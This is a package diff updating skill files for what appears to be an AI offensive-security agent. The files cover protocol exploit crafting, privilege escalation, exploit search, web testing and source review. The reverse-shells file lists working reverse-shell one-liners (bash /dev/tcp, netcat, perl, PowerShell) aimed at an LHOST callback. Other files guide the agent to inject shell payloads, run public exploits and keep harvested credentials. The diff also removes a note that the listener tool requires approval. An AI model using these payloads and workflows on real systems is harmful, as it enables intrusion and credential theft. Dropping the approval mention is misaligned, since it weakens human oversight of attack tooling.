farai 0.1.2 → 0.1.4

package/src/agent-skills/library/payload-protocol-crafting/SKILL.md

@@ -3,24 +3,24 @@ name: payload-protocol-crafting
 description: Bottom-up methodology for crafting exploits against custom, legacy, or undocumented network protocols (read the spec, build a minimal reproducer, add the injection point last). Use this whenever the target speaks something other than plain HTTP -- a custom TCP protocol, a legacy service like LPD, or any case involving raw sockets, handshakes, or command injection into a non-HTTP protocol.
 ---
 
-# Crafting Exploits Against Custom/Legacy Protocols
+# custom protocol payloads
 
 When a target service speaks something other than plain HTTP (a legacy or custom TCP protocol,
 e.g. LPD, a proprietary binary protocol, etc.), trial-and-error against the full exploit is slow
 and confusing. Work bottom-up instead:
 
-1. **Read the spec first.** Look up the RFC or protocol documentation (`http_request`/web search)
+1. **read the spec first.** look up the RFC or protocol documentation (`web_search`, `web_fetch`, or `http_request`)
    before writing any code — legacy protocols usually have a short, precise spec (e.g. RFC 1179
    for LPD) that tells you the exact byte sequence/framing expected, far faster than guessing.
-2. **Build the smallest possible reproducer.** Write a minimal script that performs just the
+2. **build the smallest possible reproducer.** write a minimal script that performs just the
    protocol handshake/framing and confirms the target responds as expected — no injected payload
    yet. Validate this piece works byte-for-byte before adding anything else.
-3. **Add the injection point once framing is confirmed.** Only after step 2 works reliably,
+3. **add the injection point once framing is confirmed.** only after step 2 works reliably,
    insert the actual command-injection/shell payload into the appropriate protocol field.
-4. **Iterate on the smallest unit that failed**, not the whole exploit. If step 3 doesn't work,
+4. **iterate on the smallest unit that failed**, not the whole exploit. if step 3 doesn't work,
    go back to isolating exactly which part is wrong (framing vs. payload vs. escaping) rather than
    rewriting the entire script and re-running end-to-end each time — that's what turns a
    straightforward exploit into many confused iterations.
-5. **Prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
+5. **prefer `shell_exec` for the throwaway reproducer scripts** (fast iteration, inspect raw
    output immediately) and only wrap the validated logic into a saved script via
    `code_write_script` once it's confirmed working.

package/src/agent-skills/library/privilege-escalation/SKILL.md

@@ -0,0 +1,24 @@
+---
+name: privilege-escalation
+description: Targeted local privilege-escalation and post-exploitation workflow for Linux, Windows, containers, and directory-backed hosts. Use after an authorized foothold when the objective requires a higher-privileged identity, secrets, lateral context, or proof of administrative/root access.
+---
+
+# privilege escalation
+
+prioritize paths supported by the current host context instead of dumping every enumeration check.
+
+1. establish the current identity, groups, privileges, host/container boundary, operating system, architecture, domain context, writable locations, and available execution channel.
+2. enumerate high-signal surfaces: delegated privileges, service/task configuration, credentials and tokens, writable execution paths, capabilities, mounts, sockets, containers, kernel/version constraints, and application secrets.
+3. rank candidates by evidence, prerequisites, reliability, and reversibility. inspect the exact configuration or file before trying an exploit.
+4. prove the next privilege boundary with the smallest controlled action. verify the resulting identity and execution context rather than assuming success from command output alone.
+5. preserve useful credentials, paths, and failed hypotheses so later attempts do not repeat the same checks.
+
+## recovery
+
+- automated enumerator noise: return to the underlying permission, owner, service, token, or version and verify it manually.
+- exploit mismatch: confirm kernel/build, architecture, mitigations, namespace, and required primitives before changing payloads.
+- apparent root inside a container: determine whether the objective concerns container root or the host boundary and prove the actual context.
+
+## completion
+
+show the requested privileged effect and current identity. a suspicious permission, public exploit match, or writable file is a candidate path, not completed escalation.

package/src/agent-skills/library/reverse-shells/SKILL.md

@@ -3,14 +3,14 @@ name: reverse-shells
 description: Payload variants and delivery gotchas for reverse/bind shells (bash, netcat, python, PHP, perl, PowerShell), TTY upgrade after landing a shell, and how to avoid false-positive auto-backgrounding when writing exploit scripts via heredoc. Use this whenever the user asks to get a shell on a target, mentions callback_listen, reverse shell, revshell, bind shell, netcat, or payload delivery -- even if they don't say the word "skill."
 ---
 
-# Reverse Shells
+# reverse shells
 
-## Getting LHOST/LPORT right
+## getting lhost/lport right
 Always call `callback_host_info` first to get the real host-reachable LHOST (VPN/tun interface),
 then `callback_listen(port=...)`. Never infer LHOST by guessing from inside the Kali container —
 the container has its own network namespace and cannot see the host's VPN interfaces.
 
-## Payload variants (pick based on what's available on target)
+## payload variants
 - Bash (most common, no extra binary needed): `bash -i >& /dev/tcp/LHOST/LPORT 0>&1`
 - Bash without `/dev/tcp` (restricted shells): `0<&196;exec 196<>/dev/tcp/LHOST/LPORT; sh <&196 >&196 2>&196`
 - Netcat with `-e` (if target nc supports it): `nc -e /bin/sh LHOST LPORT`
@@ -20,14 +20,14 @@ the container has its own network namespace and cannot see the host's VPN interf
 - Perl: `perl -e 'use Socket;$i="LHOST";$p=LPORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'`
 - PowerShell (Windows targets): `powershell -nop -c "$c=New-Object System.Net.Sockets.TCPClient('LHOST',LPORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([text.encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()}"`
 
-## Delivering the payload without triggering false-positive auto-backgrounding
+## delivering payloads without false background detection
 If you write a script to disk via a heredoc (`cat << 'EOF' > file.py`) and the payload text
 inside the heredoc body contains phrases like `bash -i` or `/dev/tcp/`, that is literal text
 being written to a file — it is NOT itself launching an interactive session, so it should not
 be treated as one. Only the actual invocation line that *executes* the file afterward
 (e.g. `python3 file.py`) is the real interactive/background command.
 
-## TTY upgrade after landing a shell
+## tty upgrade after landing a shell
 A raw netcat/bash reverse shell has no real TTY — no job control, no tab completion, ctrl-C kills
 the whole shell. Upgrade with:
 ```
@@ -39,17 +39,16 @@ export TERM=xterm
 stty rows <rows> columns <columns>
 ```
 
-## Reading session_poll output correctly
+## reading session_poll output correctly
 Sessions of kind `reverse_shell`/`shell` carry a hint line prepended to `output` indicating
 whether a shell prompt was detected (ready for the next command) or not. If no prompt is
 detected yet, wait and poll again rather than sending another command blind — commands sent
 before the target shell is ready can get silently interleaved with the previous command's
 output and produce confusing, doubled results.
 
-## When to use callback_listen vs shell_exec background
+## callback listener versus interactive process
 - `callback_listen` is for catching an *inbound* connection from the target (classic reverse shell)
-  — it opens a real listener on the host's network, which is why it is the one tool that still
-  requires approval.
+  on the host network.
 - `shell_exec` with an interactive command (auto-backgrounded, kind `shell`) is for driving an
   *outbound* interactive process yourself inside the container (e.g. `ssh`, `mysql`, `python3` REPL) —
   no listener involved, runs fully inside the sandbox.

package/src/agent-skills/library/searchsploit/SKILL.md

@@ -3,16 +3,16 @@ name: searchsploit
 description: How to search for and validate public exploits with the exploit_search tool (searchsploit-backed) before running them against a target. Use this whenever the user asks to find a known/public exploit, mentions a CVE, exploit-db, or a specific vulnerable service version.
 ---
 
-# Exploit Search Playbook (exploit_search / searchsploit)
+# exploit search
 
 - Search by exact product + version string first (e.g. `"vsftpd 2.3.4"`), then broaden if no hit
   (drop the version, then drop to just the product name).
 - A search hit is a *candidate*, not a confirmed working exploit — always read the exploit source
-  (via `fs_read` on the path searchsploit reports, or `searchsploit -x <id>`) before running it,
+  with `shell_exec` inside Kali (for example `searchsploit -x <id>` or the reported container path) before running it,
   to understand exactly what it does and whether it matches the target's actual configuration.
 - Prefer the smallest, most targeted PoC over a fully-weaponized Metasploit module when you just
   need to confirm a vulnerability exists — easier to reason about and adapt if it doesn't work
   out of the box.
-- If no local exploit-db entry matches, fall back to `http_request`/web lookup for the CVE/product
+- If no local exploit-db entry matches, fall back to `web_search`/`web_fetch` for the CVE/product
   name — public writeups often show the exact working payload for CTF-style intentionally
   vulnerable services (which are frequently older/unpatched versions on purpose).

package/src/agent-skills/library/source-security-review/SKILL.md

@@ -0,0 +1,25 @@
+---
+name: source-security-review
+description: Evidence-driven security review of application source, infrastructure code, scripts, and patches. Use when asked to audit a repository, find exploitable vulnerabilities, review security behavior, or validate a fix; do not use for general style review without a security objective.
+---
+
+# source security review
+
+trace attacker-controlled data and trust decisions through real code paths.
+
+1. identify entry points, deployment/runtime assumptions, authentication and authorization boundaries, sensitive assets, parsers, interpreters, storage, network egress, and privileged operations.
+2. map external input to security-sensitive sinks while accounting for validation, normalization, encoding, framework behavior, and configuration between them.
+3. inspect callers and downstream consumers before declaring a local pattern vulnerable. determine whether the path is reachable with the attacker's actual identity and control.
+4. rank findings by demonstrated impact and realistic prerequisites. use focused tests or a minimal reproducer when execution is available.
+5. for a proposed fix, test the vulnerable path, intended behavior, alternate encodings or routes, and regression boundary; do not accept a guard that protects only one caller.
+
+## evidence standard
+
+- separate confirmed findings from hardening ideas and unverified concerns.
+- cite the exact function, configuration, or data flow that creates the issue.
+- do not report dependency names, dangerous APIs, missing headers, or scanner matches as vulnerabilities without reachable impact in this project.
+- describe remediation at the correct boundary: fix the invariant or trust decision, not only the sample payload.
+
+## completion
+
+return findings ordered by severity with concise reproduction, impact, and remediation. if no confirmed issue is found, say so and identify the remaining untested surfaces.

package/src/agent-skills/library/web-assessment/SKILL.md

@@ -0,0 +1,28 @@
+---
+name: web-assessment
+description: Adaptive workflow for testing web applications and APIs with browser contexts, the managed proxy, HTTP requests, and Kali tools. Use for web CTFs, authenticated application testing, API assessment, session/authorization flaws, injection, upload, SSRF, or client/server behavior; do not use for passive subdomain discovery alone.
+---
+
+# web assessment
+
+build a faithful model of application behavior, then test focused hypotheses.
+
+1. use the browser for rendered state, navigation, forms, JavaScript behavior, and distinct identities. create named browser contexts when roles or sessions must remain isolated.
+2. use proxy flows and the sitemap to recover exact requests, parameters, cookies, redirects, and background API traffic. use `http_request` or proxy replay when precise, repeatable request control is more useful than UI interaction.
+3. map trust boundaries: unauthenticated versus authenticated, user versus user, client-controlled versus server-derived, and edge/CDN behavior versus application behavior.
+4. change one meaningful variable at a time. compare status, headers, body semantics, timing, and durable state rather than relying on one anomalous response.
+5. validate a candidate issue with the smallest reproducible proof that demonstrates the claimed effect. save the decisive request/response or browser evidence before claiming impact.
+
+## decision rules
+
+- treat automated findings and technology fingerprints as leads.
+- do not duplicate every browser request with raw HTTP; switch interfaces when it improves control or observation.
+- for authorization testing, compare equivalent operations across isolated identities and confirm server-side data or action differences.
+- for injection, first prove control of the relevant parser or sink, then establish impact.
+- never turn Cloudflare, WAF, cache, or generic edge behavior into an origin vulnerability without origin-specific evidence.
+
+## recovery
+
+- unstable or blocked automation: inspect proxy/network evidence, retry only after changing context, timing, or request shape.
+- unclear endpoint behavior: return to the exact browser-generated request and minimize it.
+- noisy enumeration: establish the not-found baseline and filter by meaningful response differences before widening the wordlist.